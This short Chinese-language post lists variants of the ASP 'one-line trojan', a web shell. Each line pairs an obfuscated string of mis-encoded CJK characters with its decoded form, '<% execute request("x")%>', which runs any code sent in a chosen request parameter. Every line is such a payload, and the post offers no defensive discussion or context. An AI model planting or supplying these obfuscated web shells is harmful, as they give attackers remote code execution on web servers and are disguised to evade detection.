关于asp一句话木马的变种

┼攠数畣整爠焕敌瑳∨≡┩忾             就相当于 <% execute request("a")%>a
┼攠数畣整爠焕敌瑳∨≮┩戾  <% execute request("n")%>b
┼攠数畣整爠焕敌瑳∨≥┩放  <% execute request("e")%>e
┼攠数畣整爠焕敌瑳∨∴┩忾 <% execute request("4")%>a
┼攠数畣整爠焕敌瑳∨晤≥┩忾 <% execute request("dfg")%>a
┼攠数畣整爠焕敌瑳∨晳≥┩忾 <% execute request("sfg")%>a
┼攠数畣整爠焕敌瑳∨敦睡≤┩忾 <% execute request("feawf")%>a
┼攠数畣整爠焕敌瑳∨獳≤┩忾 <% execute request("ssf")%>a
┼攠数畣整爠焕敌瑳∨硥獣≡┩忾 <% execute request("excsa")%>a
┼攠数畣整爠焕敌瑳∨浴≡┩忾 <% execute request("tma")%>a
┼攠数畣整爠焕敌瑳∨畸≮┩忾<% execute request("xun")%>a
┼攠数畣整爠焕敌瑳∨抠≤┩忾 <% execute request("sdf")%>a
┼攠数畣整爠焕敌瑳∨杦≤┩忾 <% execute request("fgd")%>a